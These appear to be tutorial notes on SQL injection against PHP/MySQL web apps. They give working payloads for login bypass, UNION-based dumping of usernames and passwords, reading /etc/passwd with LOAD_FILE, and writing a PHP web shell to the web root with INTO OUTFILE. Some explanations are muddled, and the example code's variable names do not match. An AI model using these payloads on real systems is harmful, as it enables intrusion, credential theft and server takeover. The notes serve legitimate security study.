SQL Injections

Attacks against databases

Webapps using MySQL with PHP can be vulnerable to SQL injections when the user input is not securly coded. Like using proper sanitization which removes any special characters in user-input, in order to break any injection attempts.

Injection happens when user input is treated as code instead of text. In case of SQL chars like ' can break out input limits and then execute code.

Example of unsafe code

$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$input'";
$result = $conn->query($query);

Here its using the query select * from logins where username like '%$input' but there is no cleaning or checking in place. So '%input' will be treated as text and ignore special chars.

We can then change queries

# Normal search for admin
SELECT * FROM users WHERE username = 'admin';

# Injection
SELECT * FROM users WHERE username = ' OR '1'='1;

Types of injections

In-Band injection:

The output of the query is directly displayed on the frontend like with Union based or Error Based. Union Based is adding a UNION SQL operator to combine the results of multiple queries. It is used when we can get the PHP or SQL errors in the front-end, using those errors we can exfil data.

Blind Injection

No output is shown on the frontend, but the attacker extracts information based on the behavior of the web application. Either using Booleans or Times based payloads. That are true or false statement like WHERE 1=1 or using sleep wich will delay a response.

Out-of-Band Injection:

When direct access to the output is not possible, attackers can redirect the query results to an external location, like a DNS record, and retrieve the output remotely.

Bypass authentication

Logging in with normal credentials shows the actual query. Both admin and password are wrappedin ' and will be treated as text. Then it uses the AND operator meaning they have both need to be true.

SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';

To bypass authentication we can use a OR operator and input admin' or '1'='1. PayloadAllTheThings, has many more payloads. By adding an or statement in password field as well we can login without knowing username.

  • If username is admin OR

  • If 1=1 return true 'which always returns true' AND

  • If password is something

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

Using comments

As with any othre language MySQL uses comment as well in several ways:

  • -- Need a space or do -- -

  • #

  • /**/

Everyting as comment will be ignored by server. For example The server will ignore the part of the query with AND password = 'something' during evaluation.

SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'

So using admin'-- - or 'admin or 1=1-- - will bypass authenctiation.

Parentheses

SQL supports the usage of parenthesis if the application needs to check for particular conditions before others. So whatevers is in parentheses will be checked first. Like here where username AND id are checked first

Loggin in can work by adding closing parenthesis like admin')--. So now it will ignore everything after admin')-- . With final query like

SELECT * FROM logins where (username='admin')

In case we would want to login with the ID number we can use ' OR id = 5)-- -.

Union Clause

Another type of SQL injection is injecting entire SQL queries executed along with the original query. The Union clause is used to combine results from multiple SELECT statements like:

SELECT * FROM ports UNION SELECT * FROM ships;

A UNION statement can only operate on SELECT statements with an equal number of columns.

An example query

# Query
SELECT * FROM products WHERE product_id = 'user_input'

# Union query as injection
SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '

When using UNION the number of columns must match the number of columns in original query. For example if a original query selects 4 columns but you only request 1 column like usernames the injection fails.

We can ues junk values like numbers to fill the extra columns. NULL works as well.

# 2 columns
UNION SELECT username, 2 FROM passwords-- 

# 4 columns
UNION SELECT username, 2, 3, 4 FROM passwords-- 

Detecting numbers of columns

There are 2 methods of detecting the number of columns:

  1. Using ORDER BY

  2. Using UNION

ORDER BY works with injecting column 1 , column 2 until we get an error saying the column dosnt exist. Like ' order by 1-- - and then ' order by 2-- - untill we get an error.

The other option is using cn' UNION select 1,2,3-- - or cn' UNION select 1,2,3,4-- - .

Location of injection

Some web apps only display some columns. It can happen we inject a query but it will not be printed on the page. To check if our data is being returned we can use

cn' UNION select 1,@@version,3,4-- -

Pulling Data

The INFORMATION_SCHEMA database contains metadata about the databases and tables present on the server. The table SCHEMATA in the INFORMATION_SCHEMA database contains information about all databases on the server

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

Using that as sql injection to show databases.

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

Find the current databse

cn' UNION select 1,database(),2,3-- -

Getting tables

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

Getting columns

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Finally get the data

cn' UNION select 1, username, password, 4 from dev.credentials-- -

Reading Files

To read data first check current DB user

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

# Injection
cn' UNION SELECT 1, user(), 3, 4-- -

Then check for privileges, if returns Y meaning superuser privs.

# Check for superuser
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -     '

# Get all privileges
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -

Using LOAD-FILE to read data from files wutg SELECT LOAD_FILE('/etc/passwd'); .

# Injection
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

Writing Files

To write files we need three things:

  1. User with FILE privilege enabled

  2. MySQL global secure_file_priv variable not enabled

  3. Write access to the location we want to write to on the back-end server

secure_file_priv

Secure_file_priv says where to read/write files from, empty value means entire system.

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

SELECT INTO OUTFILE

The SELECT INTO OUTFILE statement can be used to write data from select queries into files.

cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -

Or a webshell

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

Last updated

Was this helpful?